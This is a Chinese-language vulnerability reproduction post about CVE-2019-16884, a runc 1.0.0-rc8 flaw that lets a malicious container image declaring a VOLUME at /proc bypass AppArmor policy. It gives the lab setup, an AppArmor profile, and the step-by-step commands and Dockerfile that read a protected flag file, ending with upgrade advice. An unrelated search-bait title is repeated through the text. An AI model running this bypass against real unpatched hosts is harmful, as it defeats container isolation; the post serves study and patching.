restriction是什么意思中文(restriction是什么意思)

影响范围

runc 1.0.0-rc8

漏洞类型

容器逃逸漏洞

利用条件

影响范围应用

漏洞概述

在Docker 19.03. 2-ce和其他产品中使用的runc 1.0.0-rc8允许绕过AppArmor限制,因为libcontainer/rootfs_linux.go错误地检查装载目标,攻击者可以在容器镜像中可以声明一个VOLUME并挂载至/proc,之后欺骗runc使其认为AppArmor已经成功应用从而绕过AppArmor策略,该漏洞由Adam Iwaniuk发现并在DragonSector CTF 2019期间披露,这个CTF题目挑战将一个文件挂载到/flag-<random>,并使用AppArmor策略拒绝访问该文件,选手可以利用这个漏洞来禁用这个策略并读取文件

漏洞环境

构建实验环境:

docker run -it ssst0n3/docker_archive:CVE-2019-16884
ubuntu login: rootPassword: root

漏洞复现

Step 1:创建apparmor规则

    cat > /etc/apparmor.d/no_flag <<EOF#include <tunables/global>
    profile no_flag flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> file, deny /flag r,}EOF

    restriction是什么意思中文(restriction是什么意思)

    Step 2:创建一个flag文件

    echo \\\"Al1ex is comming\\\" > /tmp/flag

    restriction是什么意思中文(restriction是什么意思)

    Step 3:应用规则

    /sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag

    restriction是什么意思中文(restriction是什么意思)

    Step 4:启动一个正常镜像此时无权限读取/flag内容

    docker run --rm --security-opt \\\"apparmor=no_flag\\\" -v /tmp/flag:/flag busybox cat /flagcat: can\\\'t open \\\'/flag\\\': Permission denied

    Step 4:利用漏洞启用一个恶意镜像,可以读取/flag

    mkdir -p rootfs/proc/self/{attr,fd}touch rootfs/proc/self/{status,attr/exec}touch rootfs/proc/self/fd/{4,5}
    cat <<EOF > DockerfileFROM busyboxADD rootfs / VOLUME /procEOF
    docker build -t apparmor-bypass . docker run --rm --security-opt \\\"apparmor=no_flag\\\" -v /tmp/flag:/flag apparmor-bypass cat /flagAl1ex is comming!!!docker: Error response from daemon: cannot start a stopped process: unknown.

    安全建议

    升级到最新版本

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34172.html

    (0)
    七芒星实验室的头像七芒星实验室
    上一篇 2024年4月6日
    下一篇 2024年4月6日

    相关推荐

    发表回复

    您的电子邮箱地址不会被公开。 必填项已用 * 标注